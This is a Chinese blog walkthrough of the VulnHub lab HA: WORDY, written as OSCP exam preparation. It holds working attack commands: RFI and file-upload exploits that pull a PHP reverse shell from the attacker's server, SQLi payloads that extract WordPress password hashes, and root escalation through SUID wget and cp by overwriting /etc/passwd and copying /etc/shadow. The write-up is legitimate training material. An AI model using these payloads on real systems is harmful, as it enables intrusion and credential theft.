靶场实战(19)：OSCP备考之VulnHub HA WORDY

最新推荐文章于 2024-04-09 20:30:00 发布
最新推荐文章于 2024-04-09 20:30:00 发布
阅读量1k 收藏 16
点赞数 21
文章标签： 安全 网络 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_53721197/article/details/135709952
版权

交流技术可以关注公众号 OneMoreThink 或后台添加微信，欢迎提出宝贵建议。

0、总结

0.1、攻击思路

  1. 资产发现

    1. 主机发现

    2. 服务发现

  2. 漏洞发现（获取权限）

    1. 80端口/HTTP服务

      1. 组件漏洞

      2. URL漏洞：RFI、FileUpload

  3. 提升权限

    1. www-data用户

      1. sudo

      2. suid：wget、cp

0.2、攻击路径

  1. 获取权限

    1. 80 端口/HTTP 服务

      1. WordPress 插件 mail-masta 1.0，存在 RFI 远程文件包含 Nday 漏洞，可去下载反弹 webshell 并执行，反弹 www-data 用户权限。

      2. WordPress 插件 reflex-gallery 3.1.3，存在文件上传 Nday 漏洞，可被上传反弹 webshell 并执行，反弹 www-data 用户权限。

  2. 提升权限

    1. suid

      1. wget 命令，可以构造下载报错时执行提权代码，返回 root 用户权限。

      2. wget 命令，可以构造特权用户/etc/passwd 并下载覆盖旧的，获得 root 用户权限。

      3. cp 命令，可以构造特权用户/etc/passwd 并复制覆盖旧的，获得 root 用户权限。

0.3、防护建议

  1. 对资产清单开展漏洞扫描、渗透测试、配置核查、开源组件扫描等漏洞发现工作，并及时修复互联网高危 Nday 漏洞；

  2. 对资产清单开展流量侧、主机侧等的攻击监测工作，对真实的攻击行为进行及时阻断，对成功的攻击事件进行及时处置。

1、资产发现

1.1、主机发现

本次靶场HA: WORDY[1]指定 IP，不涉及主机发现过程。

1.2、服务发现

使用命令sudo -u root nmap 172.16.33.108 -n -Pn -p- --reason -sV -sC -O发现主机开放的端口、提供的服务、使用的组件、组件的版本。

56b53ce01c80e88e2e8c8dedea702ebd.png

开放的端口

提供的服务

使用的组件

组件的版本

80/tcp

http

Apache httpd

2.4.29

-

os

Ubuntu Linux

?

2、漏洞发现（获取权限）

2.1、80 端口/HTTP 服务

2.1.1、组件漏洞

0x01、Web 中间件

使用命令searchsploit Apache httpd 2.4.未发现 Web 中间件 Apache httpd 2.4.29 的 Nday 漏洞。

ee054242649dddce9e22d8ae10769438.png

0x02、Web 框架

使用浏览器插件 Wappalyzer 未发现存在 Nday 漏洞的 Web 框架。

15bf94e582098233167613149a023c35.png

2.1.2、URL 漏洞：RFI、FileUpload

0x01、直接访问

浏览器打开http://172.16.33.108/，只是 Web 中间件默认页面。

a8c70406cb0a4b09e42255c5210f1ba7.png

0x02、目录扫描(dirsearch)

使用命令dirsearch -u http://172.16.33.108/ -x 403扫描网站的目录和文件并逐个检查，只有/wordpress/wp-login.php文件是有价值的。

3504b994abe282b98fa27074561f58c6.png

221406e5d4d9ba5227e6cdb461d679be.png

使用命令wpscan --url http://172.16.33.108/wordpress/ --enumerate u扫描 WordPress 用户，发现admin和aarti用户。

使用命令wpscan --url http://172.16.33.108/wordpress/ --usernames admin,aarti --passwords /usr/share/wordlists/rockyou.txt爆破这俩用户的密码，2 个小时各爆破了 12 万个密码都没爆出来。

cddfb07d3bc3cf13e4f93402e4d2efc8.png

9b878651ef9722233c01b631537d04f8.png

d4528f308671a6671deff272c238acff.png

d71f67ca8f5e368b34dc82213a965f28.png

使用命令wpscan --url http://172.16.33.108/wordpress/扫描 WordPress 插件，发现 7 个插件。

919b1d22457f6390a53aef463f65ce76.png

96ef5ab402f1106ced2322684e76a148.png

8835545f232d5a9320f5d8bdd2982221.png

01、mail-masta 1.0 插件（RFI）

使用命令searchsploit mail masta发现插件 mail-masta 1.0 的 2 个 Nday 漏洞，本地文件包含和 SQLi。

使用命令searchsploit -m 48290将本地文件包含漏洞的 EXP 拷贝到当前目录后使用命令cat 40290.txt查看，获得漏洞 URL，最终构造 URLhttp://172.16.33.108/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd在浏览器中访问，成功拿到/etc/passwd 文件，确认存在 LFI 本地文件包含漏洞。

看下有没 RFI 远程文件包含漏洞获取 shell 权限，使用命令cp /usr/share/webshells/php/php-reverse-shell.php ./将反弹 webshell 拷贝到当前目录，使用命令vim php-reverse-shell.php修改 CHANGE THIS 处的监听 ip 和 port，使用命令python3 -m http.server搭建 Web 服务器给靶机下载反弹 webshell，使用命令nc -nvlp 33108监听反弹 shell，构造 URLhttp://172.16.33.108/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=http://10.8.0.110:8000/php-reverse-shell.php在浏览器中访问，最终拿到www-data用户的 shell 权限，成功突破边界。

56d491257e646552bddbc692a5c14a80.png

2ea5a715d8c0737be81f6044b667128f.png

3bbfc0d7f8d2b6c1dfb578d558372fec.png

3bd3f2c8a8bc994476a072b418ceba93.png

使用命令searchsploit -m 41438将 SQLi 漏洞的 EXP 拷贝到当前目录后使用命令cat 41438.txt查看，一共是 4 个 SQLi 漏洞，但第 2-4 个需要登录 admin 账户后才能利用，而第 1 个不需要。构造 URLhttp://172.16.33.108/wordpress/wp-content/plugins/mail-masta/inc/lists/csvexport.php?list_id=0+OR+1%3D1&pl=/var/www/html/wordpress/wp-load.php进行访问，获得一个export.csv文件，但里面除了 Email 单词外啥也没有。

76e3e3ce0718546a2708ce0f8e466277.png

6d0c99eb8c0a2fc29ffb844549f47a14.png

bf01abca3680790c8af44dc671397893.png

02、reflex-gallery 3.1.3 插件（FileUpload）

使用命令searchsploit reflex gallery发现插件 reflex-gallery 3.1.3 的 1 个 Nday 漏洞，是任意文件上传漏洞。使用命令searchsploit -m 36374将 EXP 拷贝到当前目录后使用命令cat 36374.txt查看漏洞利用方式，发现 EXP 里提供了文件上传漏洞的利用页面和文件上传后的 URL。

使用命令vim 36374.html编辑文件上传漏洞的利用页面后，使用命令python3 -m http.server搭建 Web 服务器，在浏览器中访问文件上传漏洞的利用页面http://127.0.0.1:8000/36374.html并上传改好了 ip 和 port 的反弹 Webshell/usr/share/webshells/php/php-reverse-shell.php，但是报错{"error":"Directory does not exist and could not be created."}。

db265f0c0624891c6ebbfb0d70a5a39f.png

c987d44c866fb97f7ca58a3f6e9e75d2.png

d5a8b427c693fa1a5898f73a80116339.png

166a35ea598a75528c49a4303c39402d.png

2e54739e5a74f05a4e15d4243f2fd5b3.png

经过分析，要上传文件的文件夹不存在且不能创建，那就找个存在的文件夹吧。浏览发现存在2019-09和2022-11两个文件夹，修改文件上传漏洞的利用页面后重新上传反弹 webshell，最终上传成功。

f735ab0c06ae5797015c5cbd0c2755b9.png

f84d3bd470cf24c4ff2f5fb7c9fc0624.png

594f486087d76b22d1431a61a94ec809.png

9d196a9f15bb4bc1ed40e6bd44b1f05b.png

d7704268f1a86c2551328f3b4a781dfe.png

b814bb915dd267e28e5d07ef2a02b5f3.png

使用命令nc -nvlp 33108监听端口后，浏览器访问反弹 webshell 地址http://172.16.33.108/wordpress/wp-content/uploads/2019/09/php-reverse-shell.php，最终成功获得 www-data 用户的权限。

931b82c539a5b2cf617fa0f19bb16571.png

03、site-editor 1.1.1 插件（LFI）

使用命令searchsploit WordPress site editor发现插件 site-editor1.1.1 的 1 个 Nday 漏洞，是本地文件包含漏洞。使用命令searchsploit -m 44340将 EXP 拷贝到当前目录后使用命令cat 44340.txt获得漏洞 URL，最终构造 URLhttp://172.16.33.108/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd在浏览器中访问，成功拿到/etc/passwd 文件，确认存在 LFI 本地文件包含漏洞。

看下有没 RFI 远程文件包含漏洞获取 shell 权限，使用命令cp /usr/share/webshells/php/php-reverse-shell.php ./将反弹 webshell 拷贝到当前目录，使用命令vim php-reverse-shell.php修改 CHANGE THIS 处的监听 ip 和 port，使用命令python3 -m http.server搭建 Web 服务器给靶机下载反弹 webshell，使用命令nc -nvlp 33108监听反弹 shell，构造 URLhttp://172.16.33.108/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=http://10.8.0.110:8000/php-reverse-shell.php在浏览器中访问，结果报错{"success":false,"message":"Error: didn't load shortcodes pattern file"}，看来不存在远程文件件包含漏洞。

除此之外访问其它 Linux 文件、以及尝试进行命令执行，均无收获。

0db6a62979ca06a0dd08cdde916a8404.png

986e262efcf60783be194c679dbbfbcd.png

8eeb42f964edac23372865e0703e291e.png

cfb3c91db1fede25fd63759951ba087d.png

04、slideshow-gallery 1.4.6 插件
使用命令searchsploit slideshow gallery 1.4.6发现插件 slideshow-gallery 1.4.6 的 1 个 Nday 漏洞，是任意文件上传漏洞。使用命令searchsploit -m 34514将 EXP 拷贝到当前目录后使用命令cat 34514.txt查看漏洞详情，发现需要 admin 用户权限才能执行，只能放弃。

d57b3d05b639cea862ba931be5f6489f.png

05、wp-easycart-data 插件
使用命令searchsploit easycart data未发现 wp-easycart-data 插件的 Nday 漏洞。

05ab067d9920ec7fc288fd2489dc5947.png

06、wp-support-plus-responsive-ticket-system7.1.3 插件

使用命令searchsploit wp support plus responsive ticket system发现 wp-support-plus-responsive-ticket-system7.1.3 插件的 2 个 Nday 漏洞，是 SQLi 和权限提升漏洞。

使用命令searchsploit -m 40939将 SQLi 漏洞的 EXP 拷贝到当前目录后使用命令cat 40939.txt查看漏洞详情，发现需要 admin 账户才能执行，只能作罢。

27739601b7eea79ae39c7bd8207922eb.png

使用命令searchsploit -m 41006将权限提升漏洞的 EXP 拷贝到当前目录后使用命令cat 41006.txt查看漏洞详情，发现需要 admin 账户才能执行，只能作罢。   

715b7b70d47620986f07fefc4856dafd.png

07、wp-symposium15.1 插件（SQLi）
使用命令searchsploit wp symposium 15.1发现 wp-symposium15.1 插件的 3 个 Nday 漏洞，都是 SQLi。

f28b1da6243c968083a20ba6d80bcb63.png

使用命令cat 37080.txt查看第一个 EXP 详情，有 3 个 Payload，逐个测试，未发现存在该 SQLi 漏洞。

a4ec835111021362833e1b672d93de81.png

7d9efdc98ebf222936158a187f171cb5.png

7b8587b2a770ee869f53d84ffb037dd1.png

1856b578fa7dff29d2a0d741e81a4355.png

使用命令cat 37824.txt查看第二个 EXP 详情，并构造漏洞验证 URLhttp://172.16.33.108/wordpress/wp-content/plugins/wp-symposium/get_album_item.php?size=version%28%29%20;%20--在浏览器中访问，成功获得响应，确认漏洞存在。

然后构造 POCconcat(user_login,char(58),user_pass) from wordpress.wp_users;--并进行 URL 编码，来读取 WordPress 的用户密码，获得admin:$P$BYWgfD7pa572QS9YFoeVVmhrIhBAx0.，但是CMD5[2]和SOMD5[3]都无法解密，刚才 wpscan2 个小时爆破了 12 万个密码都没爆出来，因此放弃制作彩虹表。

想重置 admin 用户的密码，但用 sqlmap 识别出注入点不支持堆叠注入，无法执行 UPDATE 语句，只能作罢。

243af9c79f33abcfe7bab6c5ca5d409f.png

fd522e014cf526b098c5d00ced7f96cf.png

9a61d02ad612aa68fda4689c9011b7d9.png

59e114dbae1dfa6c094a02905df6c2a2.png

使用命令cat 37822.txt查看第三个 EXP 详情，并构造漏洞验证 Payload 和正常请求进行对比，结果两个请求的响应都是延迟相同的 21 秒，没有区别，因此不存在该延迟注入。

78acdd65ffab00acf3556b5cbbeeec71.png

d03ef3bde361ca84a5bd05afe0731f83.png

f54615154d8cbca07b5ef4ce4b1a85e6.png

0x02、目录扫描(dirb)

使用命令dirb http://172.16.33.108/ -X .txt,.zip扫描网站的目录和文件，发现两个文件。其中/notes.txt文件让我们留意 ZIP 文件，而secret.zip文件里面是link.txt文件，需要密码才能解压出来，但是使用/usr/share/john/password.lst和/usr/share/wordlists/rockyou.txt两个字典共计 1434 万个密码，都无法爆破出解压密码。

b0116e151a6ac20cb2c16e357d0084ce.png

6df5af79e459403b1f6a5b4d809f941f.png

74240d777a83f5e44e8896d7a9c57e1d.png

86296db448d71822cce6d503bf73e05c.png

ce365ba0411a18b2a32b6587cb5cd46c.png

0x03、模糊测试

基于目前已知情况，没有对网站的目录和文件进行 FUZZ 的必要。

0x04、切换协议

使用浏览器访问https://172.16.33.108:80/，提示网站没有使用 SSL 协议。

cc8c619cbb95c5111ec241009b2d2a0d.png

3、提升权限

使用命令which python和which python3查看靶机使用哪个版本的 Python，发现使用了 Python3。使用命令python3 -c 'import pty; pty.spawn("/bin/bash")'获得交互式 shell。

6c01982889fc662eabc9a306244e4e0c.png

3.1、www-data 用户

3.1.1、sudo

使用命令sudo -l查看当前用户能以谁的权限执行什么命令，发现需要当前用户的 SSH 密码才能查看。由于没有，只能作罢。

0c5cd10c11b3f509eced8a00d5eeca36.png

3.1.2、suid：wget、cp

使用命令find / -perm -u=s -type f -ls 2>/dev/null查看哪些命令在执行时会以该命令属主的权限执行，发现还不少。

508ada4a5c7433e74a91c07a4226a8c3.png

逐个在GTFOBins[4]查询能否用于提权，发现/usr/bin/wget可以。分别执行 EXPTF=$(mktemp)、chmod +x $TF、echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF、/usr/bin/wget --use-askpass=$TF 0，最终获得该命令属主 root 用户的权限，成功完成提权。

3d80447bf5eca37b74d96112da9cb1f2.png

c1933bd1cff725611a2ade95fa5cb4de.png

286644b3e5e22e88808ff758ef2d4ff6.png

同时还可以往/etc/passwd 中植入特权用户进行提权，首先在靶机上使用命令cat /etc/passwd打印出来拷贝到本地。

然后在本地使用命令openssl passwd -6 -salt salt 123456生成 SSH 密码 123456，并基于刚才靶机打印出来的 passwd 文件，使用命令vim passwd创建植入了特权账户hacker和密码123456的新 passwd 文件，再使用命令python3 -m http.server开启 Web 服务器提供给靶机下载。

最后靶机使用命令wget http://10.8.0.110:8000/passwd -O /etc/passwd下载新的 passwd 文件覆盖旧的，最后使用命令su hacker和密码123456可以切换到 root 权限的 hacker 用户，成功进行提权。

bd8eadf0b6dca67f72cacc8933ac9ffb.png

5aa5b1b78ca7dabf0be8eebde65a82ca.png

c84c6f8b1d50b2908e0708bc5c470580.png

61001a87983ff4bcca45cfa415942c23.png

逐个在GTFOBins[5]查询能否用于提权，发现/bin/cp可以，有 3 个 EXP，但逐个尝试，全都失败了无法提权。

但是可以在靶机上使用命令cp /etc/shadow /tmp/shadow将密码文件拷贝出来，然后在本地使用命令john shadow --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt进行爆破，但是失败了，没能爆破出来。

28cb5a519f751fb9971ab932737a39d9.png

33480249d2a4e6ea3f383be38f8f98e2.png

01a576162f2d213cfe6e7788858684fb.png

3052d43e69752225134a2ade40f4463c.png

不过可以往/etc/passwd 中植入特权用户进行提权，步骤参考刚才 wget 的，只是最后靶机使用命令wget http://10.8.0.110:8000/passwd -O /tmp/passwd下载新的 passwd 文件，然后使用命令cp /tmp/passwd /etc/passwd进行替换，再使用命令su hacker和密码123456可以切换到 root 权限的 hacker 用户，成功进行提权。

0ac7e77bbe44d81616cf199ab7b955fd.png

参考资料

[1]

HA: WORDY: https://www.vulnhub.com/entry/ha-wordy,363/

[2]

CMD5: https://cmd5.com

[3]

SOMD5: https://www.somd5.com

[4]

GTFOBins: https://gtfobins.github.io

[5]

GTFOBins: https://gtfobins.github.io

OneMoreThink
关注
【Oscp备考-Kioptrix 1】
weixin_44126257的博客
09-13 1669
Oscp备考
Vulnhub: InfoSec Prep:OSCP靶机
qq_43884092的博客
05-07 751
secret.txt获得ssh私钥,suid提权
oscp——HA: Wordy
王嘟嘟的博客
02-18 1246
0x00 前言 这个是做的第31台机子了。 0x01 信息收集 0x02 Web 访问一下 然后跑一下目录，拿到一个目录http://192.168.0.117/wordpress/ 是一个wp的站，扫一下插件和用户 这里mail-masta查一下洞 有一个EIF 还有一个sql需要账号密码 reflex gallery这个插件的洞，有一个文件上传，进行上传 site edit...
备考 OSCP
mksimon的博客
06-29 490
THM 免费初级的玩得差不多，再尝试 HTB，其实两边都还是要看攻略夺旗。 HTB 今天研究着 Remote，表示对入侵 Windows 完全没概念，即使跟着攻略也很吃力，但一看 注会入职 起步 8K，OSCP 起步 15K，继续努力。 ...
OSCP备考-1
一个安全路上的菜鸟
11-30 1063
Hackthebox 整起 最简单的一题
HA: Wordy靶机-Walkthrough
ins1ght的博客
10-04 1416
这个靶机可利用的漏洞挺多的，像LFI、RFI、文件上传、SQLi，我试着把这几个漏洞都复现了一遍，尽管并不是所有的漏洞都能getshell。最后提权的时候使用了SUID权限的wget，对，你没看错，是wget。除了vim、less、more、nano、cp、mv、find、bash以及nmap，现在又多了一个wget，意不意外，惊不惊喜？
OSCP:OSCP考试材料
05-01
【标题】"OSCP: OSCP考试材料"指的是Offensive Security Certified Professional的备考资源，这是一个高级的渗透测试认证，旨在证明个人在网络安全攻击与防御方面的技能。OSCP认证由Offensive Security公司颁发，...
OSCP:OSCP的东西
05-11
OSCP OSCP的东西 此仓库中的大多数内容仅供临时使用。 它的编码很差，但是可以完成工作... 我看到你们的人们开始盯着这个叉起来了……对您的警告：放弃所有希望，进入这里的你们…… 我目前正在对该Repo进行大修...
谷歌师兄的leetcode刷题笔记-OSCP-Prep:OSCP准备
06-30
谷歌师兄的leetcode刷题笔记OSCP-准备 PWK 课程大纲 OSCP 喜欢 VulnHub 游戏 Linux 和 Bash Linux 之旅 - Bash 初学者 - 解释壳—— 基本工具 Netcat：整个课程中最重要的工具。 了解它的作用、您有哪些选项、反向 ...
OSCP:OSCP注释和自动脚本
04-04
OSCP OSCP注释和自动脚本本指南是我本人在2021年使用oscp时编写的 如果您正在寻找有关如何利用特定计算机的信息，则可以在其他地方找到。 它仅包含一般性注释和脚本，以帮助某人加快使用工具和协议的速度。 剧本 ...
OSCP:我准备OSCP的资料库-感谢CODE SPACE，尤其是我的老师David Reguera（DREG）
03-26
OSCP 我准备OSCP的资料库-感谢CODE SPACE，尤其是我的老师David Reguera（DREG）和Enrique Lauroba。 在该存储库中，我将添加OSCP准备工作中的帖子和文件。 我正在努力提高英语水平，因此我的写作中可能有错误。 任何更正或改进将受到欢迎。 另一方面，我将用西班牙语和英语撰写文章。 根据渴望和我找到自己的那一刻。 我希望你喜欢它
OSCP-vulnhub:ha-wordy靶机实战
cjstang的博客
07-12 3005
OSCP6-vulnhub:ha-wordy靶机实战，主要利用方式：通过wordpress 插件的若干漏洞进行相对应的突破边界+suid提权
【Oscp备考-Kioptrix2】
weixin_44126257的博客
09-16 2018
Oscp备考：Kioptrix Level 2
OSCP备考分享
最新发布
xnxqwzy的博客
04-09 2043
​ 先说说个人的情况。​首先，我并不能算作严格意义上安全科班出身，属于半路出家做安全。一直以来都是从事甲方安全防护，偏重基于业务侧的应用安全、数据保护、隐私合规。渗透测试于我几乎是盲区一样的存在，仅对web、android的安全测试有些许了解，比如漏洞原理、防护、测试等，利用层面都很少接触。​起初是从之前的同事那里了解到CEH，一个偏重攻击实操的认证，但是考试需要去香港，觉得比较麻烦就放弃了。之后一段时间也没计划学习渗透的知识，随着工作越来越久，逐渐体会到”不知攻，焉知防“的意思。
vulnhub——ha:wordy靶机
Re1_zf的博客
10-23 582
利用连接靶机的shell使用wget从攻击机上下载构造好的passwd文件来覆盖靶机上的passwd文件。先在kali攻击机的web目录下创建一个passwd文件，内容为靶机的etc/passwd文件的内容。dirb直接扫描一下，可以了解到这是一个wordpress的站。有的时候还能直接发现一些关键的有用信息，不过这次没有发现。扫描出来的插件拿去msf搜索一下有没有可以利用的漏洞。没有什么可以利用的东西，就是初始的apache的首页。这里搜索到一个可以利用的这个插件的文件上传漏洞。
oscp备考前阅读列表
chelp的专栏
04-23 1536
oscp备考前需要阅读列表
“突破重围：探索OSCP渗透测试场景中的难题与解决方案“
A485860941的博客
07-17 1167
在OSCP渗透测试认证中，靶场的红队是极具挑战性和实战性的对手，他们不仅拥有深厚的安全知识和技能，还能模拟真实世界中的攻击场景。本文将探索OSCP靶场中超级厉害的红队，介绍他们的攻击策略和技术手段，并分享一些应对策略和解决方案，帮助渗透测试人员更好地应对实际攻击。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值